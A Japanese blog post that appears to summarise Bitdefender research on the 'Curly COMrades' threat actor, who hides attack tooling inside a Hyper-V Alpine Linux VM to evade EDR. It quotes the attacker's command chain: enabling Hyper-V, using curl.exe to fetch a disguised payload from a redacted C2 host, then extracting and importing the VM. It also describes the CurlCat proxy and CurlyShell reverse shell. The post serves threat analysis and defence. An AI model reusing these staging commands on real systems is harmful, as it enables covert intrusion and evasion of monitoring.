C2通信とデータ窃取にcurl.exeを多用するのと、COMオブジェクトのハイジャックを行うツールを使用するために「Curly COMrades」と名付けられた攻撃者。
ターゲットの環境でHyper-Vを有効化し、最小限のAlpine Linuxベースの仮想マシン(ディスク容量120MB、メモリ256MB)を展開、その仮想マシンの中で攻撃ツールを使用していた。これにより、EDRの検出を回避した。
確かにその手があったかと思いつつも、ターゲットがWindows Homeとかだったらダメですな。WSLで攻撃ツール使ってアンチウイルス回避みたいなのもあったので、Hyper-Vで回避するの環境によっては効果的に思える。
しかしながら、全部のEDRに対して仮想マシンで誤魔化せるわけではないと思うので、本当に検知回避されてしまうのかは検証が必要に思える。

Alpine Linuxベースの仮想マシンの展開
ソースより、管理インターフェイス無効化・Hyper-V有効化コマンド
dism /online /disable-feature /FeatureName:microsoft-hyper-v-Management-clients /norestart dism /online /enable-feature /All /LimitAccess /FeatureName:microsoft-hyper-v /norestart
接続チェック
"cmd.exe" /C echo curl.exe http://<redacted>.md | cmd > c:\\Programdata\\WindowsUpdateTask_H.tmp 2>&1
mp4に見せかけたファイルダウンロード、1.rarとして保存
"cmd.exe" /C echo curl.exe http://<redacted>.md/about.mp4 -o c:\\programdata\\1.rar | cmd > c:\\Programdata\\WindowsUpdateTask_D.tmp 2>&1
解凍用のツール検索?こういうのは先にやっておかないのか?
"cmd.exe" /C dir "c:\\program Files" > c:\\Programdata\\WindowsUpdateTask_X.tmp 2>&1
この事例ではwinrarで展開
"cmd.exe" /C "c:\\program files\\WinRAR\\rar.exe" xc:\\programdata\\1.rar c:\\programdata\\microsoft\\AppV\\app > c:\\Programdata\\WindowsUpdateTask_z.tmp 2>&1
c:\programdata\microsoft\AppV\appにvmcxやvhdxが展開される。
"cmd.exe" /C powershell.exe -c import-vm -path "c:\\programdata\\microsoft\\AppV\\app\\Virtual Machines\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\Programdata\\WindowsUpdateTask_t.tmp 2>&1
"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\Programdata\\WindowsUpdateTask_R.tmp 2>&1
WSLに見せかけてる?
仮想マシンで使われていたというツール「CurlCat」、「CurlyShell」
1.「CurlCat」
特にオープンソースのツールでは無さそう。「CurlCat」は今年の8月にBitDefenderが解析している。
Curlcat
libcurlライブラリを使用するリバースプロキシツールとのこと。(ここでもcurlかよ!!!)
特徴的な機能
i.正規のプロセスのように振る舞う偽装
「C:\Program Files (x86)\Google\GoogleUpdate.exe」に自身を配置するファイルパス偽装。
Chromeブラウザになりすますユーザエージェントが埋め込まれている「Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 」(でも、このChromeバージョン結構古いから怪しい。)
ii.SSH ProxyCommand 専用の中継機能
実質的にnetcatと同様の動作、ssh.exeからのデータをC2にHTTPSで送信し、C2からの情報をssh.exeに渡す。
iii.標準Base64とは全く異なる独自のデータ難読化ロジック
ハードコードされた128文字の文字列を分割・結合し、「換字(Substitution)アルファベット」と「標準Base64アルファベット」という2つの64文字のテーブルを内部に構築。データをエンコードする際、標準Base64の各文字(例: A)を、カスタム換字アルファベットの同じ位置にある文字(例: H)に1対1で置き換える。実質的にカスタムの換字式暗号であり、標準的なBase64デコーダーではトラフィックを解読できない。
2.「CurlyShell」
こちらもオープンソースツールでは無さそう。libcurlライブラリを使用するリバースシェルツール。(curl好き過ぎでしょ...。)
CurlyShell
特徴的な機能
i.非標準のカスタムBase64による難読化
マルウェア内部にハードコードされた標準のBase64テーブルとは異なるカスタムされたbase64を定義している。C2通信(セッションID生成やコマンド送受信)はすべてこのカスタムBase64でエンコード・デコードされるため、標準的なBase64デコーダーでは解読できない。
ii.C2サーバーの「適格性」検証プロセス
マルウェアはC2サーバーに対し、まずHTTP GET リクエストを送信。この際、自身が生成したカスタムBase64のセッションID(PHPセッションクッキーとして偽装)をヘッダーに含める。C2サーバーは、そのセッションIDと「全く同じ文字列」を応答本文として返さなければならない。このハンドシェイクに失敗すると、CurlyShellは即座に終了。これにより、セキュリティ研究者によるスキャンや、意図しないリクエスト(例: curl でのアクセス)を拒否し、正規のC2サーバーとのみ通信を確立。
iii.確実なステルス化のための即時デタッチ
起動すると即座に、標準入力(0)、標準出力(1)、標準エラー(2)のファイルディスクリプタをすべてクローズ。これにより、実行元のシェルから完全に切り離され、ターミナルへのいかなる出力(エラーメッセージ含む)も抑制し、OS上で不可視のバックグラウンドデーモンとして動作。
iv.堅牢なコマンド実行ラッパー
C2から受信したコマンドは、単に sh -c で実行されるだけではない。timeout 30 sh -c '
- timeout 30: コマンドが30秒以上ハングアップ(フリーズ)した場合に強制終了させ、インプラント全体の安定性を確保。
- 2>&1: 標準エラー出力を標準出力にリダイレクトし、コマンドの実行結果だけでなく、失敗した際のエラーメッセージも確実にキャプチャし、C2へ送信。
所感
Hyper-Vを使った検知回避は環境によっては大きな脅威になることが容易に想像できる。 勝手な機能の有効化がされないようにADのGPOでしっかり設定して管理しましょう。
参考
・Curly COMrades: A New Threat Actor Targeting Geopolitical Hotbeds
https://businessinsights.bitdefender.com/curly-comrades-new-threat-actor-targeting-geopolitical-hotbeds
・Curly COMrades: Evasion and Persistence via Hidden Hyper-V Virtual Machines
https://businessinsights.bitdefender.com/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines